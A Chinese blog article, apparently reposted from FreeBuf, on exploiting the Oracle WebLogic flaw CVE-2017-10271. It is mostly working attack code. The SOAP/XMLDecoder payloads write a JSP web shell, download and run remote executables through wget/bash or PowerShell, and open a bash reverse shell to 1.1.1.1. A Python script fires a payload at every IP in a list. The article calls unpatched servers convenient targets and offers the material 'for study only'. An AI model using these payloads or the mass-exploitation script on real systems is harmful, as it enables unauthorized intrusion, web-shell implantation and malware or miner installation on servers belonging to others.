也谈Weblogic漏洞CVE-2017-10271的利用方法

栏目: Java · 发布时间: 6年前

内容简介:也谈Weblogic漏洞CVE-2017-10271的利用方法

*本文作者:ph0en1x,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

WebLogic WLS 组件漏洞(CVE-2017-10271)自2017年12月22日爆出后,至今也有20多天了,相信有责任心的企业和网管已经将服务器的漏洞修复,而至今仍未修复漏洞的服务器,为我们进行漏洞测试提供了很好的靶子。目前针对该漏洞有两种比较成熟的利用方法,一种是利用写文件的方式GetShell,一种是利用命令执行的方式下载可执行文件。本文将结合作者的实际操作,分别介绍这两种利用方法。

一、漏洞简要回顾

CVE-2017-10271 是利用Oracle WebLogic中WLS 组件的反序列化漏洞进行远程代码执行的,此漏洞影响的版本为10.3.6.0.0、12.1.3.0.0、12.2.1.0.0和12.2.1.2.0。对于漏洞的原理,这里就不介绍了,网上有详细的分析。该漏洞的利用方法相对简单,只需要向服务器页面 /wls-wsat/CoordinatorPortType 发送精心构造的 HTTP 请求,就可以执行相应的命令,完成相应的操作。

二、利用方法一

利用java.io.PrintWriter类进行文件创建,并向文件写入数据。

1 、在服务器写入test.txt文件,文件内容为“Hello,Test!”,路径为:servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.txt,代码如下。接下来访问服务器: http://.com/bea_wls_internal/test.txt ,只要文件存在,就可判断漏洞存在。

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java>
                <java version="1.8.0_131" class="java.beans.XMLDecoder">
                    <object class="java.io.PrintWriter"> 
                        <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.txt</string><void method="println">
                        <string>Hello,Test!</string></void><void method="close"/>
                    </object>
                </java>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

2 、在服务器写入test.jsp文件,文件内容为jsp一句话木马,路径为:servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp,代码如下。接下来访问服务器: http://.com/bea_wls_internal/test.jsp?pwd=test&i= <需要执行的命令>即可GetShell。

                     ......
                        <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println">
                        <string><![CDATA[<%if("test".equals(request.getParameter("pwd"))){java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
                                int a = -1;
                                byte[] b = new byte[2048];
                                out.print("<pre>");
                                while((a=in.read(b))!=-1){
                                    out.println(new String(b));
                                }
                                out.print("</pre>");}%>]]></string></void><void method="close"/> 

                          .......

也谈Weblogic漏洞CVE-2017-10271的利用方法

三、利用方法二

利用java.lang.ProcessBuilder类进行本地命令调用,通过执行本地命令,下载可执行文件执行或者反弹shell。

​ 1 、通过执行wget、curl命令或者powershell,下载可执行文件并执行。目前挖矿大军基本都采用此方法,简单粗暴,不判断漏洞的存在性,直接下载并执行,成功一个算一个。

Linux 代码为:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java version="1.8.0_131" class="java.beans.XMLDecoder">
                <void class="java.lang.ProcessBuilder">
                    <array class="java.lang.String" length="3">
                        <void index="0">
                            <string>/bin/bash</string>
                        </void>
                        <void index="1">
                            <string>-c</string>
                        </void>
                        <void index="2">
                            <string>wget http://xxxx.com/xxx | /bin/bash xxx</string>
                        </void>
                    </array>
                <void method="start"/></void>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

Windows 代码为:

                    ......
                    <array class="java.lang.String" length="3">
                        <void index="0">
                            <string>powershell</string>
                        </void>
                        <void index="1">
                            <string>-Command</string>
                        </void>
                        <void index="2">
                            <string>(New-Object System.Net.WebClient).DownloadFile('http://***.com/***.exe','***.exe');(New-Object -com Shell.Application).ShellExecute('***.exe');</string>
                          ......

  2 、通过执行ping命令,判断漏洞是否存在,再执行反弹 shell 命令。让目标服务器ping 1.1.1.1主机,在1.1.1.1上进行抓包,如果收到包数为3,ICMP数据大小为888的包,则判断漏洞存在,再执行反弹shell命令,将shell反弹至1.1.1.1的53端口。

                   .......
                        <void index="0">
                            <string>/bin/bash</string>
                        </void>
                        <void index="1">
                            <string>-c</string>
                        </void>
                        <void index="2">
                            <string>ping -c 3 -s 888 1.1.1.1</string>
                        </void>
                      .......
                   ........
                        <void index="0">
                            <string>/bin/bash</string>
                        </void>
                        <void index="1">
                            <string>-c</string>
                        </void>
                        <void index="2">
                            <string>bash -i >& /dev/tcp/1.1.1.1/53 0>&1</string>
                        </void>
                    

四、一些小体会

1、每一种方法都不是百分之百好用,因为每个服务器的配置和环境千差万别;
2、weblogic的服务端口可以是80,7001,7002等;
3、进行文件写入时,由于各服务器weblogic安装路径有差异,对写入的文件路径需要填写准确;
4、进行命令执行时,<arrayclass=”java.lang.String” length=”3″>这里的长度与下面void的个数对应,且index的值从0开始;
5、反弹shell需要确保服务器所在网络没有进行相关的设置,否则shell弹不回来;
6、目前来看,利用ping的方式判断漏洞存在的准确率较高,利用命令下载并执行的成功率较高,其他方法成功率都不高。 

五、附上自己写的 python 脚本(仅作测试)

#coding:utf-8  
#post.py 
​
import urllib2
import os
import sys
import socket
import time

payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
                <soapenv:Header>
                    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
                        <java version="1.8.0_131" class="java.beans.XMLDecoder">
                            <void class="java.lang.ProcessBuilder">
                                <array class="java.lang.String" length="3">
                                    *******
                                </array>
                            <void method="start"/></void>
                        </java>
                    </work:WorkContext>
                </soapenv:Header>
                <soapenv:Body/>
            </soapenv:Envelope>'''
            
def doPost(url,payload,header_dict):
    req = urllib2.Request(url=url,data=payload,headers=header_dict)
    try:
        time.sleep(10)
        res = urllib2.urlopen(req,timeout = 10)
        res = res.read()
        print ('OK')
    except socket.timeout,e:
        print ('Connet Timeout')
        pass
    except urllib2.URLError as error:
        print (error.reason)
        pass
    except urllib2.HTTPError as error:
        print (error.code)
        pass
    
def main():
    if len(sys.argv) == 2:
        filename = sys.argv[1]
        if not os.path.isfile(filename):
            print('[-]' + filename + 'does not exit.')
            exit(0)
        ipList = open(filename)
        for line in ipList.readlines():
            line=line.strip('\n')
            print('[-] ' + line )
            urls = "http://" + line + "/wls-wsat/CoordinatorPortType"
            header_dict = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko','Content-Type': 'text/xml','Upgrade-Insecure-Requests':'1','Host':line}
            doPost(urls,payload1,header_dict)
    else:
        print('[-] Usage: ' + str(sys.argv[0]) + ' <ip filename>.')
        
if __name__ == '__main__':
    main()

注:本文方法代码完全公开,请仅作学习交流使用,其余用途与本文作者无关。

*本文作者: ph0en1x,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

企业应用架构模式

企业应用架构模式

Martin Fowler、王怀民、周斌 / 王怀民、周斌 / 机械工业出版社 / 2004-7 / 49.00元

本书作者是当今面向对象软件开发的权威,他在一组专家级合作者的帮助下,将40多种经常出现的解决方案转化成模式,最终写成这本能够应用于任何一种企业应用平台的、关于解决方案的、不可或缺的手册。本书获得了2003年度美国软件开发杂志图书类的生产效率奖和读者选择奖。本书分为两大部分。第一部分是关于如何开发企业应用的简单介绍。第二部分是本书的主体,是关于模式的详细参考手册,每个模式都给出使用方法和实现信息,并一起来看看 《企业应用架构模式》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

SHA 加密
SHA 加密

SHA 加密工具

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具